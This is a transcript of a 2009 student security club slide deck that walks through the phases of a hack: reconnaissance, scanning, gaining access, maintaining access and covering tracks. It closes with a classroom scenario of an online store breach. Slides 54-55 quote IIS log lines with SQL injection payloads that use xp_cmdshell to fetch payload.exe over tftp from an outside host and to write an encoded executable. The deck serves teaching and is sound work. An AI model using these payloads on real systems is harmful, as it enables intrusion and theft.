anatomy of the hack - hands-on security | information assurance club

60
INFORMATION ASSURANCE CLUB http://iaclub.ist.psu.edu/signin

Upload: newbu

Post on 17-May-2015

1.867 views

Category:

Documents


2 download

TRANSCRIPT

Page 1: Anatomy of the Hack - Hands-on Security | Information Assurance Club

INFORMATION ASSURANCE CLUBhttp://iaclub.ist.psu.edu/signin

Page 2: Anatomy of the Hack - Hands-on Security | Information Assurance Club

INFORMATION ASSURANCE CLUB

Anatomy of a Hack: from 0x00 to rootThursday, October 29st, 2009

Page 3: Anatomy of the Hack - Hands-on Security | Information Assurance Club

ANNOUNCEMENTS

Metasploit SeminarThursday, November 5th

7:30 PM – 202 IST iCTF Competition

Friday, December 4th

See listserv email or http://iaclub.ist.psu.edu/ictf for more information and to sign-up!

Deadline for sign-ups is Friday, November 6th!

Page 4: Anatomy of the Hack - Hands-on Security | Information Assurance Club

ANNOUNCEMENTS

Dean Feedback SessionTuesday, November 3rd

7:00pm to 9:00pm in 110 IST

Page 5: Anatomy of the Hack - Hands-on Security | Information Assurance Club

AGENDA

Background The Anatomy of the Hack

Reconnaissance Scanning Gaining Access Maintaining Access Covering Tracks

Application (Interactive) Conclusion

Page 6: Anatomy of the Hack - Hands-on Security | Information Assurance Club

ESSENTIAL TERMINOLOGY

THREAT – an action or event that might compromise security. A threat is a potential violation of security.

VULNERABILITY – existence of a weakness, design, or implementation error that can lead to an unexpected and undesirable event compromising the security of the system.

Page 7: Anatomy of the Hack - Hands-on Security | Information Assurance Club

ESSENTIAL TERMINOLOGY

ATTACK – an assault on the system security that is derived from an intelligent threat. An attack is any action that violates security.

EXPLOIT – a defined way to breach the security of an IT system through a vulnerability.

Page 8: Anatomy of the Hack - Hands-on Security | Information Assurance Club

HACKER CLASSES

Black hats – individuals with extraordinary computing skills, resorting to malicious or destructive activities. Also known as crackers.

White hats – individuals professing hacker skills and using them for defensive purposes. Also known as security analysts.

Gray Hats – individuals who work both offensively and defensively at various times.

Suicide Hackers – individuals who aim to bring down critical infrastructure for a “cause” (Hactivism) and do not worry about punishment.

Page 9: Anatomy of the Hack - Hands-on Security | Information Assurance Club

QUALITIES OF A HACKER

Should be proficient with programming and computer networking skills Has in-depth knowledge of target platforms, such as

Windows, Unix and Linux Has exemplary knowledge of networking and related

hardware and software Should be familiar with vulnerability research Should have mastery in different hacking

techniques In other words, you must be “highly technical” to launch

sophisticated attacks Should be prepared to follow a strict code of

conduct (white hats)

Page 10: Anatomy of the Hack - Hands-on Security | Information Assurance Club

HACKERS

“If you know the enemy and know yourself, you need not fear the result of a hundred battles.”

-Sun Tzu, Art of War

A hacker / security professional answers the following: What can the intruder see on the target system? (Recon and

scanning phases) What can the intruder do with that information?

(Gaining and Maintaining Access) Does anyone at the target notice the intruders’ attempts or

successes (Recon and covering tracks) Professionals need to know what it is they are trying to

protect, against whom, and what resources it is willing to expend in order to gain protection.

Page 11: Anatomy of the Hack - Hands-on Security | Information Assurance Club

THE FIVE PHASES

Reconnaissance Active Passive

Scanning Gaining Access

Denial of Service Network level Operating system level / application level

Maintaining Access Uploading / altering / downloading programs or data

Clearing Tracks

1.

Recon2.

Scanning

3.

Gaining

Access

4.

Maintaining Access

5. Clearing

Tracks

Page 12: Anatomy of the Hack - Hands-on Security | Information Assurance Club

PHASE 1 - RECONNAISSANCE

Reconnaissance refers to the preparatory phase where an attacker seeks to gather as much information as possible about a target prior to launching an attack.

Generally noted as “rattling the door knobs” to see if someone is watching and responding. Could be the future point of return, noted for

ease of entry for an attack when more about the target is known on a broad scale.

Page 13: Anatomy of the Hack - Hands-on Security | Information Assurance Club

RECONNAISSANCE TYPES

Passive reconnaissance involves acquiring information without directly interacting with the target. Ex: Searching public records or news

releases. Active reconnaissance involves

interacting with the target directly by any means. Ex: Telephone calls to help desk or

technical departments.

Page 14: Anatomy of the Hack - Hands-on Security | Information Assurance Club

RECON TECHNIQUES

Social Engineering Dumpster Diving Physical Break-ins Job search sites (job requirements) Google search / Google hacking

Rich information for passive recon Archive.org

Page 15: Anatomy of the Hack - Hands-on Security | Information Assurance Club

FOOTPRINTING

Footprinting is necessary to systematically and methodically ensure that all pieces of information are identified.

Footprinting is often the most difficult task in the hacker methodology.

An attacker spends 90% of the time profiling an organization and another 10% launching the attack.

Page 16: Anatomy of the Hack - Hands-on Security | Information Assurance Club

FOOTPRINTING

Internet

• Domain Name• Network block• IP addresses of reachable systems• TCP and UDP services running• System architecture• Intrusion Detection Systems• System enumeration (user and group names, system banners, routing tables, SNMP

information)

Remote Access

• Analog/digital telephone numbers• Remote system types• Authentication mechanisms

Intranet

• Network protocols used• Internal domain names• Network blocks• IP addresses of reachable systems• TCP and UDP services running• System architecture• Intrusion Detection Systems• System enumeration

Extranet

• Connection origination and destination• Type of connection• Access control mechanisms

Page 17: Anatomy of the Hack - Hands-on Security | Information Assurance Club

FOOTPRINTING TOOLS

Whois, ARIN, nslookup Traceroutes (Neotrace, VisualRoute

Trace) Guessing internal URLS

secure.target.com webmail.target.com vpn.target.com

Robots.txt

Page 18: Anatomy of the Hack - Hands-on Security | Information Assurance Club

ROBOTS.TXT

Located in the root folder and holds a list of directories and other resources that a site owner does not want indexed.

Hackers usually look here first! All (most) search engines comply to

robots.txt

Page 19: Anatomy of the Hack - Hands-on Security | Information Assurance Club

PHASE 2 - SCANNING

Scanning refers to the pre-attack phase when the hacker scans the network for specific information on the basis of information gathered during reconnaissance.

Hackers have to get a single point of entry to launch an attack.

Scanning can include use of dialers, port scanners, networking mapping, sweeping, vulnerability scanners, etc.

Page 20: Anatomy of the Hack - Hands-on Security | Information Assurance Club

PHASE 2 - SCANNING

Types of scanning: Port scanning – a series of messages sent

to a computer to learn about services. Network Scanning – a procedure for

identifying active hosts on a network. Vulnerability Scanning – automated

process of proactively identifying vulnerabilities of computing systems.

Page 21: Anatomy of the Hack - Hands-on Security | Information Assurance Club

SCANNING PHASES

Check for live systems

Check for open ports

Identify services

Banner grabbing OS fingerprinting

Scan for vulnerabilitie

s

Draw network diagrams of

vulnerable hosts

Prepare proxiesATTACK!

Page 22: Anatomy of the Hack - Hands-on Security | Information Assurance Club

CHECKING FOR LIVE SYSTEMS

ICMP scanning – find if hosts are running by pinging them all.

ICMP scans can be run parallel so they are very fast. Tools: Angry IP Scanner, Ping Sweep,

Firewalk

Page 23: Anatomy of the Hack - Hands-on Security | Information Assurance Club

CHECKING FOR OPEN PORTS

Use Nmap Rapidly scans large networks Port scanning, OS detection, version

detection, ping sweep Scans a large number of machines at one

time Supported by many operating systems Carry out all types of port scanning

techniques

Page 24: Anatomy of the Hack - Hands-on Security | Information Assurance Club

CHECKING FOR OPEN PORTS

Use hping2 Command line oriented TCP/IP packet assembler/analyzer Has a traceroute mode Ability to send files between a cover channel

Features Firewall testing Advanced port scanning Network testing, using different protocols, TOS,

fragmentation Advanced traceroutes Remote OS fingerprinting Remote uptime guessing TCP/IP stacks auditing

Page 25: Anatomy of the Hack - Hands-on Security | Information Assurance Club

PORT SCANNING BASICS

The TCP/IP three way handshake SYN -> SYN/ACK -> ACK

TCP Flags SYN – initiates request ACK – establishes connection PSH – send all buffered data immediately URG – packet should be processed immediately FIN – no more transmissions RST – reset connection

Page 26: Anatomy of the Hack - Hands-on Security | Information Assurance Club

COMMON PORT SCANS

TCP Connect Scan (-sT) Response is SYN/ACK if open, RST if closed.

SYN Scan (half open scan) (-sS) SYN -> SYN/ACK -> RST Fewer sites log this type of scan. Server responds with RST if port is closed.

Page 27: Anatomy of the Hack - Hands-on Security | Information Assurance Club

COMMON PORT SCANS

Stealth Scanning Fin Scan (-sF) Xmas Scan (-sX) Null Scan (-sN)

Return RST if closed, no response if open. Called stealth because they send a single

frame to a TCP port without handshake. Windows didn’t follow RFC 793 (Transmission

Control Protocol) so it responds with a RST frame for all queries.

Page 28: Anatomy of the Hack - Hands-on Security | Information Assurance Club

COMMON PORT SCANS

Idle Scan (-sI) Completely blind port scanning! Attackers can

actually scan a target without sending a single packet to the target from their own IP address.

Every IP packet has a “fragment identification” number, which is incremented by the stack.

Probing the number can tell an attacker how many packets have been sent since the last probe.

Find a zombie (idle) machine. Spoof packet from zombie, zombie gets SYN/ACK if open and sends RST and increments IPID, gets RST if closed (no increment).

Page 29: Anatomy of the Hack - Hands-on Security | Information Assurance Club

BANNER GRABBING / FINGERPRINTING Determine the operating system on the target

Active stack fingerprinting Based on the fact that OS vendors implement the TCP

stack differently. Specially crafted packets are sent to remote OS and the

response is noted and compared with a database. This type of scan is logged.

Passive fingerprinting Indirect methods; Uses sniffing techniques instead of

scanning techniques. Also based on differential implementation of the stack. Less accurate.

Page 30: Anatomy of the Hack - Hands-on Security | Information Assurance Club

SCANNING FOR VULNERABILITIES

Nessus – most common tool. Plugin architecture. NASL (Nessus attack scripting language). Can test unlimited hosts simultaneously. Smart service recognition. Client–Server architecture.

Page 31: Anatomy of the Hack - Hands-on Security | Information Assurance Club

PREPARING PROXIES

Proxy is a network computer that can serve as an intermediate for connection with other computers. Purposes:

As a firewall, a proxy protects the local network from outside access.

Acts as an IP address multiplexer, allows a connection from a number of computers having only one IP address.

Anonymous web surfing (to an extent). Specialized proxies can filter unwanted content, such

as ads or “unsuitable” material.

Page 32: Anatomy of the Hack - Hands-on Security | Information Assurance Club

PREPARING PROXIES

A hacker wants to use a proxy to hide their identity.

May use multiple proxies (proxy chains). Tor

HTTP Tunneling Allows users to perform various Internet tasks

despite restrictions imposed by firewalls. This is made possible by sending data through

HTTP (port 80).

Page 33: Anatomy of the Hack - Hands-on Security | Information Assurance Club

ATTACK!

Page 34: Anatomy of the Hack - Hands-on Security | Information Assurance Club

PHASE 3 – GAINING ACCESS

Gaining access refers to the penetration phase. The hacker exploits the vulnerability in the system.

The exploit can occur over a LAN, the Internet, or as a deception or theft. Examples include buffer overflows, denial of service,

session hijacking, and password cracking. Influencing factors include architecture and

configuration of the target system, the skill level of the attacker, and the initial level of access obtained.

The hacker can gain access at the operating system level, application level, or network level.

Page 35: Anatomy of the Hack - Hands-on Security | Information Assurance Club

ENUMERATION

Enumeration is defined as extraction of user names, machine names, network resources, shares, and services.

Enumeration leads to an attack Step 1: Enumerate users Step 2: Crack the password Step 3: Escalate privileges Step 4: Execute applications

Can bypass steps depending on the nature of the exploit.

Page 36: Anatomy of the Hack - Hands-on Security | Information Assurance Club

ATTACK SOPHISTICATION

US GAO report to Congress, “Computer Attacks at Department of Defense Pose Increasing Risks”, May 1996.

Page 37: Anatomy of the Hack - Hands-on Security | Information Assurance Club

ATTACK SOPHISTICATION

CERT - “Information Security as an Institutional Priority” - 2005

Page 38: Anatomy of the Hack - Hands-on Security | Information Assurance Club

HOW TO GAIN ACCESS

There are several ways an attacker can gain access to a system.

The attacker must be able to exploit a weakness or vulnerability in a system.

Attack Types:Operating System attacks

Page 39: Anatomy of the Hack - Hands-on Security | Information Assurance Club

OPERATING SYSTEM ATTACKS

Today’s operating systems are complex in nature. Operating systems run many services, ports, and modes

of access and require extensive tweaking to lock them down.

The default installation of most operating systems has large numbers of services running and ports open.

Applying patches and hotfixes are not easy in today’s complex networks.

Attackers look for OS vulnerabilities and exploit them to gain access to a network system.Operating System attacks

Page 40: Anatomy of the Hack - Hands-on Security | Information Assurance Club

APPLICATION LEVEL ATTACKS

Software developers are under tight schedules to deliver products on time.

Extreme Programming is on the rise in software engineering methodology.

Software applications come with tons of functionalities and features.

Sufficient time is not there to perform complete testing before releasing products.

Security is often an afterthought and usually delivered as an “add-on” component.

Poor or non-existent error checking in applications leads to buffer overflow attacks.

Operating System attacks

Page 41: Anatomy of the Hack - Hands-on Security | Information Assurance Club

SHRINK WRAP CODE ATTACKS

Why reinvent the wheel when you can buy off-the-shelf libraries and code?

When you install an OS or application, it comes with tons of sample scripts to make the life of an administrator easy.

The problem is “not fine tuning” or customizing these scripts.

This will lead to default code or shrink wrap code attack.Operating System attacks

Page 42: Anatomy of the Hack - Hands-on Security | Information Assurance Club

MISCONFIGURATION ATTACKS

Systems that should be fairly secure are hacked because they were not configured correctly.

Systems are complex and the administrator does not have the necessary skills or resources to fix the problem.

Administrator will create a simple configuration that works.

In order to maximize your chances of configuring a machine correctly, remove any unneeded services or software.Operating System attacks

Page 43: Anatomy of the Hack - Hands-on Security | Information Assurance Club

IMPORTANT RULE

If a hacker wants to get inside your system, they will and there is nothing you can do about it.

The only thing you can do is make it harder for them to get in.

“If you approach a bear with a friend, you don’t have to outrun the bear… just your friend.”

Page 44: Anatomy of the Hack - Hands-on Security | Information Assurance Club

PHASE 4 – MAINTAINING ACCESS

Maintaining access refers to the phase where the hacker tries to retain ownership of the system.

The hacker has compromised the system. Hackers may harden the system from other

hackers as well (to own the system) by securing their exclusive access with backdoors, rootkits, or trojans.

Hackers can upload, download, or manipulate data, applications, and configurations on the owned system.

Page 45: Anatomy of the Hack - Hands-on Security | Information Assurance Club

PHASE 5 – COVERING TRACKS

Covering tracks refers to the activities that the hacker does to hide their actions.

Reasons include the need for prolonged stay, continued use of resources, removing evidence of hacking, or avoid legal action.

Examples include steganography, tunneling, and altering log files.

Page 46: Anatomy of the Hack - Hands-on Security | Information Assurance Club

LOG FILES

Windows logs SECEVENT.EVT (security)

Failed logins, accessing files without privileges SYSEVENT.EVT (system)

Driver failure, things not operating correctly APPEVENT.EVT (applications)

Linux/Unix Logs UTMP (information about current users) WTMP (logins and logouts) LASTLOG (last login)

Page 47: Anatomy of the Hack - Hands-on Security | Information Assurance Club

APPLICATION (INTERACTIVE)

Think like a hacker! Use your background knowledge to figure out how the hacker compromised this fictional company.

Scenario: An online store had their database compromised and customer’s credit card data stolen. The hacker knew nothing initially but the name of the target company.

Page 48: Anatomy of the Hack - Hands-on Security | Information Assurance Club

PHASE 1 - RECONNAISSANCE

What can the hacker learn about the target?

Where should they look for information?

Page 49: Anatomy of the Hack - Hands-on Security | Information Assurance Club

PHASE 1 - RECONNAISSANCE

Hacker learns as much as they can about the company from online resources. Resolves IP address of the domain name. WHOIS information is private, no action

taken. Finds job posting for a Windows

Administrator with familiarity operating IIS and MSSQL.

Page 50: Anatomy of the Hack - Hands-on Security | Information Assurance Club

PHASE 2 - SCANNING

What should the hacker scan? What are some tools they could use?

Page 51: Anatomy of the Hack - Hands-on Security | Information Assurance Club

PHASE 2 - SCANNING

The hacker uses nmap to map the network. Finds only the webserver and a few other hosts

in the DMZ. Firewall blocks remote access to internal network.

Hacker fingerprints the webserver. Running IIS 7.0 and ASP. Locked down; ports closed and no extra

services running. Scans for vulnerabilities.

Systems are patched.

Page 52: Anatomy of the Hack - Hands-on Security | Information Assurance Club

NETWORK DIAGRAM

Page 53: Anatomy of the Hack - Hands-on Security | Information Assurance Club

PHASE 3 - GAINING ACCESS

What might the hacker do now? What type of attack could they launch?

Operating System Application Shrink Wrap Misconfiguration

Page 54: Anatomy of the Hack - Hands-on Security | Information Assurance Club

PHASE 3 - GAINING ACCESS

The hacker finds a SQL injection vulnerability in a web application.

This is confirmed by looking at the IIS logs:

2009-10-29 05:50:25 W3SVR1 10.0.5.13 GET/members/profile.asp action=show&id=16705946’ -- 80 -128.118.142.255 HTTP/1.1 Mozilla/5.0+(Windows;+U;+Windows+NT+5.1;+en-US;+rv:1.8.1.11)+Gecko/20071127+Firefox/2.0.0.11 500 0 0

2009-10-29 05:55:13 W3SVR1 10.0.5.13 GET/members/profile.asp action=show&id=16705946';exec master..xp_cmdshell 'echo tftp ^&^& echo open 128.118.142.203^&^& echo user h@ck3r ^&^& echo uber1337 ^&^& echo get payload.exe^&^& echo quit%3Eexecute.bat'-- |331|80130e62|Incorrect_syntax_near_the_keyword_'ORDER BY' 80 - 128.118.142.255HTTP/1.1 Mozilla/5.0+(Windows;+U;+Windows+NT+5.1;+en-US;+rv:1.8.1.11)+Gecko/20071127+Firefox/2.0.0.11

Page 55: Anatomy of the Hack - Hands-on Security | Information Assurance Club

PHASE 3 - GAINING ACCESS

2009-10-29 06:15:36 W3SVR1 10.0.5.13 GET/members/profile.asp action=show&id=16705946;exec+master..xp_cmdshell+'echo+1_4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E80000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000002B6F76AB6F0E18F86F0E18F86F0E18F848C865F87A0E18F848C876F8490E18F8AC0145F87E0E18F86F0E19F8980E18F848C875F8E70E18F848C864F86E0E18F848C860F86E0E18F8526963686F0E18F8000000000000000000000000000000000000000000000000504500004C01030002884F450000000000000000E0000301>C:\windows\system32\srvhost.exe'-- 80 - 128.118.142.255 HTTP/1.1 Mozilla/5.0+(Windows;+U;+Windows+NT+5.1;+en-US;+rv:1.8.1.11)+Gecko/20071127+Firefox/2.0.0.11 500 0 0

Page 56: Anatomy of the Hack - Hands-on Security | Information Assurance Club

PHASE 3 - GAINING ACCESS

The hacker has been able to transfer binaries to the web server and execute system commands.

The hacker cannot connect directly to the database server as it is configured to only allow connections from the internal network and the webserver, but once the webserver is compromised the hacker can use it to extract database information.

Page 57: Anatomy of the Hack - Hands-on Security | Information Assurance Club

PHASE 4 - MAINTAINING ACCESS

How can the hacker maintain access to the system?

Page 58: Anatomy of the Hack - Hands-on Security | Information Assurance Club

PHASE 4 - MAINTAINING ACCESS

The hacker can maintain access by installing rootkits or backdoors.

The hacker may also harden the system to prevent SQL injection attacks similar to the ones they used.

Page 59: Anatomy of the Hack - Hands-on Security | Information Assurance Club

PHASE 5 - COVERING TRACKS

The hacker erased firewall and IDS logs as well as the audit logs on the system, but they forgot to edit the IIS connection logs.

What are the consequences of this action, from both the hacker’s and the system administrator’s perspectives?

Page 60: Anatomy of the Hack - Hands-on Security | Information Assurance Club

CONCLUSIONS

Hacking is an art, not a science. Hackers need only a single point of

entry. You’re only as strong as your weakest link.

Where there’s a will, there’s a way. Never underestimate a Hacker’s

determination. Security should never be an

afterthought.